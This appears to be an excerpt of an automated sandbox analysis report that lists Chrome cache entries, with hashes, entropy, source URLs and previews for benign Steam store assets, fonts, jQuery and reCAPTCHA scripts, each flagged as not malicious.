Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	44
Entropy (8bit):	4.544325652580697
Encrypted:	false
SSDEEP:	3:hWikj2hkum0KthOU1:AikjDBr
MD5:	6D93FDB56B417B26D61378095110EA11
SHA1:	99C638B5D3CBB852EF664EFC7A1E8282F3997DE9
SHA-256:	D8F0F15132104CAEF0BADCF8657B9CFCC4237F59AC844DE47E297A2F48E43AD9
SHA-512:	6A735A16B22DC3152CB359D47C9E51B1117EA624B573F24B4694734F2F90CBFE7ECF5D3684DBCF9CB08FEC7873C5399AAF58C0174A5B60ED93E3D48F971ADF34
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwn2ZtV5zmIo5BIFDYPOwY0SBQ2S9RIrEhAJ48ci2S48zdQSBQ38LUur?alt=proto
Preview:	ChIKBw2DzsGNGgAKBw2S9RIrGgAKCQoHDfwtS6saAA==

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 646 x 250, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	4904
Entropy (8bit):	7.899029446643728
Encrypted:	false
SSDEEP:	96:OdBnjzG7DZTxqIfy33nn/qf46vhPQuAgul5SZBsj51v1f:OdBnjwDZTx5fy33no4ShRjuX2sd1vt
MD5:	1E91D02CF5A902F38F2923C006D79281
SHA1:	CB8126B32C2274E0394246B40BD0B7F9F847E44C
SHA-256:	F72611E2DF8E88204009FD896D05D5E8E83C77009C63943BBFFA169559934849
SHA-512:	54B69544DC55ADDC0B2DDC08418D1A0A34240697070FE47FEAE9E915C70D33EF662CE1B7154CBCAD84019D22F3291F138CC7298224D381CC740C2097478D4042
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/googleplaystore/google_play_store_english.png
Preview:	.PNG........IHDR..............+v.....PLTEGpLWWW^^^fffnnnaaaxxx.........sss\\\.........hhhIII**.........sss...444}}}...>>>SSSYYYjjj...}}}^^^ @@@ppp......```000PPP....J$._/'~>$t9.T.5..........................................D4.S1.N....................... ...I..kkk..................zzz....?.......!i4...$]c....2d.:.....:u.B..=.....8.N..nS.:.N.......?/.;.N......=.N~^......^G.?.N....v.@.NO;..j...............<.T/#.5.\..7L...xK.OY.C5.q#.n!.2(9...;/I...?2u"..!...;..X....%...K..7+I..g...&.,..H..G..E..FFu..a.... tRNS.:..........................j...N}......IDATx...Ub.@.E..I71.0.....C.5.............................?...._.r..[........E...v^Ne...E;+..l..n..c...]w..\|r...m>.w=...2..5.+......tW..].........6m.i..).Y.h.B.k....j.......T.l.\.<...T.H2.._...a.....u...e.}.Op...J.....I.j.....>.C...&.tW.T0Kr..I..4.v.].OrSie..!O.......!......!.g..Z.0......r..\|4.h.t..{.............N...fi..-R....LH9#....7I$..$..o.T....8......@A<y..s....K...%Wt.y.z..].i.h...T..l.E6.....S7C

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansLight Italic4.015;Plau;M
Category:	downloaded
Size (bytes):	133600
Entropy (8bit):	6.0674472145735345
Encrypted:	false
SSDEEP:	3072:D0000yU00000p4hvCgblYq4AYpbVvQ8U/VMxLseW8Yafj9:D0000GWCClpnYpxvRamfh
MD5:	07247CBD12D4E4160EFD413823D0DEF8
SHA1:	517A80968AA295D0A700A338C22BA41E3A8B78A7
SHA-256:	41464EFD9A32A5967B30ADDC21FE16CD0A35870FDA56658B531A9A2434B4D829
SHA-512:	27E0E7505D41891E70BD06733F96E82E45061D621A1D20BBC524FC89C5406A799CF53D98C0FA256CB4EBFC19750C9A05531A8D273CEBC260D48948EDFFDF6244
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/fonts/MotivaSans-LightItalic.ttf?v=4.015
Preview:	........... DSIG............GDEF.\|.@...,...:GPOS.r....h...dGSUB.e.........POS/2t.........`cmap.......\|....cvt Ft..... ....fpgm.6!.........gasp............glyf`..........head...1...0...6hhea.......h...$hmtx.[O".......locap.+........maxp.......@... name.H.....`....post.v.....L....prep...........................................w...x.y...z.3.........&.W.............D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J......................................................................................................................................

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansBlack4.015;Plau;MotivaSa
Category:	downloaded
Size (bytes):	120816
Entropy (8bit):	6.070220522864693
Encrypted:	false
SSDEEP:	3072:IrEEEEEueapd0oej1yAHjU/gXG7mGSCfj9:IDpd0oejdQ/gXgfh
MD5:	4F7C668AE0988BF759B831769BFD0335
SHA1:	280A11E29D10BB78D6A5B4A1F512BF3C05836E34
SHA-256:	32D4C8DC451E11DB315D047306FEEA0376FBDC3A77C0AB8F5A8AB154164734D1
SHA-512:	AF959FE2A7D5F186BD79A6B1D02C69F058ECD52E60EBD0EFFA7F23B665A41500732FFA50A6E468A5253BB58644251586AE38EC53E21EAB9140F1CF5FD291F6A5
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Black.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOS..B....l..l.GSUB.d....m.....OS/2w.'.......`cmap.d..........cvt J......0....fpgm.6!.........gasp.......(....glyf...G.......jhead.g.n.......6hhea.r.....(...$hmtx......L....loca.F. ...4....maxp........... nameKN].........post............prep...........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (377), with CRLF line terminators
Category:	downloaded
Size (bytes):	34674
Entropy (8bit):	5.421358067509858
Encrypted:	false
SSDEEP:	768:ciJQBnCB/MaberYaWM5tWgFPQVGvKMpEFbW:cMQJu/Mabc4MZPPvKzk
MD5:	3F9FAFDC9C0CDDD25D6E4D046A8D42D3
SHA1:	E277FDA3655E94DDB80F03225EFA7EE8EBD6BB30
SHA-256:	A2ADAD654A0E37C791418E897592D6213B0CBEB73B35C1DE6CA82085C4E79CE9
SHA-512:	012D99F610FBA081390225909D3915361EE5638D71EE507B3D05EB71D05C1489EF1CDC0A39DA1D2D1ADACBDFAC2C279D96EBB47C72273CC2662E06E4378EEBFE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/crypto/jsbn.js
Preview:	..// Copyright (c) 2005 Tom Wu..// All Rights Reserved...// See "LICENSE" for details...../.. Copyright (c) 2003-2005 Tom Wu.. * All Rights Reserved... .. Permission is hereby granted, free of charge, to any person obtaining.. * a copy of this software and associated documentation files (the.. * "Software"), to deal in the Software without restriction, including.. * without limitation the rights to use, copy, modify, merge, publish,.. * distribute, sublicense, and/or sell copies of the Software, and to.. * permit persons to whom the Software is furnished to do so, subject to.. * the following conditions:.. .. The above copyright notice and this permission notice shall be.. * included in all copies or substantial portions of the Software... .. THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, .. * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY .. * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. .. .. IN NO EVENT SHAL

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, CR line terminators
Category:	downloaded
Size (bytes):	89437
Entropy (8bit):	4.934831850769131
Encrypted:	false
SSDEEP:	1536:LlaY4P+xmlvr+k3mCQHNl9EvOxzXQApcGBPVCGUb6WFA66WqiLOrVQXWl:E1XZEl9EvOxzLcGBkQ1WA
MD5:	31ED48071CE4B62C24520C95BCDE6026
SHA1:	C073152E6835FBA2DED4CC215F3985266BE23F2B
SHA-256:	08B39451EABACA10CD735816CDC5AF4A35B05FBB197E2082235B6E16BE62DEDB
SHA-512:	1CB651EC52D7EB67A961436A48340D0B783BC944CD54008D00E8B26D933D0668380126C6ACAE89EF10906FD96E8DA9ED4EF773DFD9C761F608FF7EBDA5554AE7
Malicious:	false
Reputation:	low
URL:	"https://store.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider"
Preview:	// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008....// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)..// ..// Permission is hereby granted, free of charge, to any person obtaining..// a copy of this software and associated documentation files (the..// "Software"), to deal in the Software without restriction, including..// without limitation the rights to use, copy, modify, merge, publish,..// distribute, sublicense, and/or sell copies of the Software, and to..// permit persons to whom the Software is furnished to do so, subject to..// the following conditions:..// ..// The above copyright notice and this permission notice shall be..// included in all copies or substantial portions of the Software...//..// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..// NONINFRINGEMENT. IN NO EV

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	60
Entropy (8bit):	4.603877104485451
Encrypted:	false
SSDEEP:	3:k9SNcu7G1MKsck9Uni:k9SqWF9+i
MD5:	ABDC477F128DF197BD8ED2205F09EAE2
SHA1:	4230F0BB54E0FD66E3DE5A0760B915E2F9E09EA3
SHA-256:	758EBAB6488B29114C8D78ABE42A820A26306FFCC986AF5976C0DDE67902205D
SHA-512:	9B773E6F8B8354DB1B1176DF91CFDB3AB1EAE749DC36A15C7E032FDE3EC1D4AB7CE96F5EF409D4F09A1B697E612F023CC485BD6F08C26F0F98340ED61964C34E
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwl6rUtCoQde5RIFDZFhlU4SBQ01hlQc?alt=proto
Preview:	CisKCw2RYZVOGgQIVhgCChwNNYZUHBoECEsYAioPCApSCwoBIRABGP////8P

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65339), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	65881
Entropy (8bit):	4.994268081658709
Encrypted:	false
SSDEEP:	1536:B7aiXrClRYuLGh4iS72wI7CsrpzAuIRmfQ+:9klR7LGh4iS77I7CsmuIRmfQ+
MD5:	47619749A77F1358844215EBF0BD88EB
SHA1:	E1273E426CF013D92378F658BE99F72593559A40
SHA-256:	6323D60A28DCFE5E071C30BF2F4EE94BD3ABA6E7D771F3BC715F3E65626D15A5
SHA-512:	9023246B2914C57C30DBA6410373BE1C2170FE99318D1FFC26B26CC351E25B1110D0B75B7083D0FED258A1F3F45CE1BF045AF3AEDB3D3B6999A9D1B7503B4834
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[9188],{67519:e=>{e.exports=JSON.parse('{"language":"english","CuratorAdmin_RSSFeed_title":"Manage my RSS Feeds","CuratorAdmin_RSSFeed_desc":"Setting up RSS feeds allows you to automate the Steam Events and Announcement creation from your existing content management platform. Your content from your site will automatically surface to Steam customers who follow you as News. ","CuratorAdmin_RSSFeed_lang_only":"Feed Language:","CuratorAdmin_Curator_lang_only":"NOTE: The curator is set to %1$s language which is different from the feed language of %2$s. Re-save the feed to update to this language.","CuratorAdmin_RSSFeed_lang":"The language is set on the group to \'%1$s\'. If this is not correct, you can edit the group profile and then re-setup this feed.","Cu

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (724)
Category:	downloaded
Size (bytes):	551834
Entropy (8bit):	5.646059185430787
Encrypted:	false
SSDEEP:	6144:ytxIUYTteVvs0E8gSdoxS4MLYw1tZnAzsz1I9VBojCdzNDC2vPpD:ybYTZMgGopkAzsz1ciEU2d
MD5:	33AFF52B82A1DF246136E75500D93220
SHA1:	4675754451AF81F996EAB925923C31EF5115A9F4
SHA-256:	B5E8EC5D4DCC080657DEB2D004F65D974BF4EC9E9AA5D621E10749182FFF8731
SHA-512:	2E1BAAE95052737BDB3613A6165589643516A1F4811D19C2F037D426265AA5ADF3C70334C1106B1B0EEF779244389F0D7C8C52B4CD55FCE9BAB2E4FCB0642720
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var z=function(){return[function(v,p,K,u,W,n){if(!((v>>2&(n=[6,"Unknown format requested type for int64",9],n[0])\|\|!U[22](11,this.U(),p)&&this.dispatchEvent("enter")&&this.isEnabled()&&R[23](n[2],this,2)&&R[3](n[0],2,!0,this),v-1)<20&&(v>>1&7)>=4&&(u=new vf,W=R[41](1,p,u,kV,K==p?K:P[8](37,K),5)),v<<1&11))throw Error(n[1]);return W},function(v,p,K,u,W){return((W=[17,7,46],v)<<2&W[1]\|\|(p=function(n){return K.call(p.src,p.listener,n)},K=UJ,u=p),(v-1\|12)<v&&(v-9\|59)>=v)&&(u=M[W[2]](15,p)&&!M[W[2]](13,."iPod")&&!M[W[2]](W[0],K)),((v\|8)&W[1])==1&&(u=p.Y?p.Y:p.I?"application/x-protobuffer":""),u},function(v,p,K,u,W){retu

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	88145
Entropy (8bit):	5.291106244832159
Encrypted:	false
SSDEEP:	1536:yTExXUZinxD7oPEZxkMV4SYKFMbRHZ6H5HOHCWrcElzuu7BRCKKBEqBsojZlOPma:ygZm0H5HO5+gCKWZyPmHQ47GKe
MD5:	220AFD743D9E9643852E31A135A9F3AE
SHA1:	88523924351BAC0B5D560FE0C5781E2556E7693D
SHA-256:	0925E8AD7BD971391A8B1E98BE8E87A6971919EB5B60C196485941C3C1DF089A
SHA-512:	6E722FCE1E8553BE592B1A741972C7F5B7B0CDAFCE230E9D2D587D20283482881C96660682E4095A5F14DF45A96EC193A9B222030C53B1B7BBE8312B2EAE440D
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	229
Entropy (8bit):	5.208866791114413
Encrypted:	false
SSDEEP:	6:GXO23whT+t1FQuXX6C8Vo+nViARCa3whT+tAeEM:AO2gst1W1C8VRnEARhgstAeEM
MD5:	5903FB1A517865DCA5A7D37D419249A5
SHA1:	BBD2053A90BB34CC1EA6E4A9BB96A7FE710308A6
SHA-256:	1C59C22822333FD3E2CD5CEF13C3E90D9998493438888D11B23E6A6B9EEFADD1
SHA-512:	28022995614CB23E8463FCF85FC829BAA3F9D9330BBCCA7169B1501194374B806CE9C06E5ED8E1A76799BF1680D01773ECA74F4FC2554029167140A816E67B9F
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/applications/store/login.css?contenthash=31a1587a28aa962de04a
Preview:	............_2kLRmRsLwjGDlm-ZfUpChG{padding-top:80px;padding-bottom:150px;display:flex;flex-direction:column;align-items:center}@media screen and (max-width: 700px){._2kLRmRsLwjGDlm-ZfUpChG{padding-top:12px;padding-bottom:0px}}..

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (24681), with CRLF line terminators
Category:	dropped
Size (bytes):	60854
Entropy (8bit):	5.237035743895263
Encrypted:	false
SSDEEP:	1536:AEJpvhd5dY0KEApMyw+l/oOJz9owymlgaUYCOlb+OeaLJIt:AEr5n6EhZkyuLJIt
MD5:	BF7E930C75C0FEC002110E9B34D8AA7D
SHA1:	92EAB00D40336B37E15583EF5D385B6B4E7A0A61
SHA-256:	FB1E3D2F0CB6E7D4E141CA84C8119F9A544C822B0BAF2F94F3073B84576770D8
SHA-512:	BE289CA1EA1355D5AA7508F145A4323FE20F875957CCB410222B7A8258ED4F3E8AFF72D00B1DA20CD04F8A7EFF3FC66C91FBF40EFAD877AED609DBFB039D4449
Malicious:	false
Reputation:	low
Preview:	"use strict";....function CLoginPromptManager( strBaseURL, rgOptions )..{...// normalize with trailing slash...this.m_strBaseURL = strBaseURL + ( strBaseURL.substr(-1) == '/' ? '' : '/' ) + ( this.m_bIsMobile ? 'mobilelogin' : 'login' ) + '/';...this.m_strSiteBaseURL = strBaseURL; // Actual base url, not the login base url above......// read options...rgOptions = rgOptions \|\| {};...this.m_bIsMobile = rgOptions.bIsMobile \|\| false;...this.m_strMobileClientType = rgOptions.strMobileClientType \|\| '';...this.m_strMobileClientVersion = rgOptions.strMobileClientVersion \|\| '';...this.m_bIsMobileSteamClient = ( this.m_strMobileClientType ? true : false );...this.m_bMobileClientSupportsPostMessage = rgOptions.bMobileClientSupportsPostMessage \|\| false;.....this.m_$LogonForm = $JFromIDOrElement( rgOptions.elLogonForm \|\| document.forms['logon'] );.....this.m_fnOnFailure = rgOptions.fnOnFailure \|\| null;...this.m_fnOnSuccess = rgOptions.fnOnSuccess \|\| null;.....this.m_strRedirectURL = rgOptions.strRe

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5190
Entropy (8bit):	7.95300701431002
Encrypted:	false
SSDEEP:	96:4St6M+qrWBymK0DSKtmauI77CoXFCd3dJG44bzOLgpmijzLe7kcTANTX:4SXrceNaR3J43JG4IzOmmILe7dTAND
MD5:	21D535D86A2AC64ACEB4EF4F81B77544
SHA1:	4BD619A623263310FA75319C66F891E2D125B11D
SHA-256:	B9A580F52E3BD2D445831A2FCB6765A518461EAD8A252CB9410C145C51936C1A
SHA-512:	67C0FE10B0B8D4949DA4B1595C985C603751738FF2F1CA2B181BB6195CACF8478DBDE0F30101476803D642CEEF0D7717C682E9C82BE4DC7A096E88CA023B28D7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...B...B......T......pHYs.................sRGB.........gAMA......a.....IDATx..[....u?..."...".,:.cAY?.@..T..L4.h.I`..4...D..m&5n.t.M.i.4.@..M.N"F.....I.U............u...{.1F..x.....s.........v.5...9D...h........y......l.......d...H.;...x\....K$.!<W....CX......-.=K7.A4..f[.]-.@w.y]........1}.u.d........].tv/m'......e.2#.G.@.....b.g..4h..8./.....~..\|2.".....1.$. _g.G.r.dh.j....k.).../...#..c..7V..Y..#...A...5.o...".k:=%4._...UI......&k.&b.......P^V&..JXC..t..^on.t.g.PCA.).........-G..:2{O..i..1.3h6_G#j...}u]_SXp.3....I..Z.h`Os.09..w......4.......W.....e...r....x....G.V..K.FN.........=D../.. ..+.....7..?.}y..$I8....Q..;X r.B.z.K^.rGH..h...cT.N.6-..B[../.....}J_......X.....p{..B..=...bsl35%[.V...\|.{#.....:NL1..i..1cO.&.Q...[...+.(.M....D.w..;......q=./.WZ[.A..ynb5.2s...*.3....<..X+.:j..o_.i`A....6..?p.\|cPA..~....Zq.../......n....OZ....0.....:2...6U..,..ko.... rh$(....../.'......ZN:r,N<bL..p.^...../...>X...y`6.E.5?.au.

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (22676), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	22842
Entropy (8bit):	4.8737880932940385
Encrypted:	false
SSDEEP:	384:+Yic/Sf4+JAslpN+MhZxEOIqisxp9RO6orsH1XQSmRyeyZ/84t1SSzNQvIkoVMxc:qx4+blpNN7VMxsgE3kSd5/VQ47hD
MD5:	757750902210FF3C0D12DEE4DC5165C6
SHA1:	A3599CA4BD5DA9FB9C83E26813EF62327C541566
SHA-256:	72FF7D67DDC7BD23885CBBA07F3889BE27B50CB597BA41FD546343416676BA67
SHA-512:	EF5CB66E561D5F208A872C65B6732BDAA082D421F9815C8A5A439D5E749890E032C2309C1D7EC66D93D1F897941BB5E2C5F860FD9CF8E13ADFBF1AB60AECA27B
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/marketing_english-json.js?contenthash=2724d0de18cba8996ab6
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[5231],{72022:e=>{e.exports=JSON.parse('{"language":"english","label_play_free_until_custom":"Play for free until %1$s.","promo_ends_custom":"Offer ends %1$s.","label_play_free_generic":"Play for Free!","label_free_weekend":"Free Weekend","label_free_week":"Free Week","label_just_updated":"Just Updated","label_for_a_limited_time_only":"FOR A LIMITED TIME ONLY","msg_prepurchase_and_play_beta_now":"Pre-Purchase and Play the Beta Now!","msg_play_beta_now":"PLAY THE BETA NOW!","msg_prepurchase_and_get_beta_access":"Pre-Purchase and get Beta Access","msg_steam_workshop_now_available":"Steam Workshop Now Available","msg_now_with_steam_workshop":"Now with Steam Workshop","msg_now_with_steamworks":"Now with Steamworks","msg_now_available_on_steamos":"Now Availab

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansThin4.015;Plau;MotivaSan
Category:	downloaded
Size (bytes):	118736
Entropy (8bit):	6.0569560995718
Encrypted:	false
SSDEEP:	1536:GAAAAAAAgsAAAYgIAAAAsAuErzzzz6mfzzVCA9zzzzzzdp/koLAGXImE98YfgNi9:kErZDE9BfgNiX9k3SDHewStfNwS0fj9
MD5:	CE6BDA6643B662A41B9FB570BDF72F83
SHA1:	87BCF1D2820B476AAEAEA91DC7F6DBEDD73C1CB8
SHA-256:	0ADF4D5EDBC82D28879FDFAAF7274BA05162FF8CBBDA816D69ED52F1DAE547F6
SHA-512:	8023DA9F9619D34D4E5F7C819A96356485F73FDDCB8ADB452F3CEEFA8C969C16CA78A8C8D02D8E7A213EB9C5BBE5C50745BA7602E0EE2FE36D2742FB3E979C86
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Thin.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOS".j....l..j.GSUB.d....k.....OS/2t..........`cmap.d..........cvt E...........fpgm.6!.........gasp............glyf;9.........Thead.z.;.......6hhea...........$hmtxj4.w...8....locaijV... ....maxp........... name............post.......\|....prep...........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............)........................ 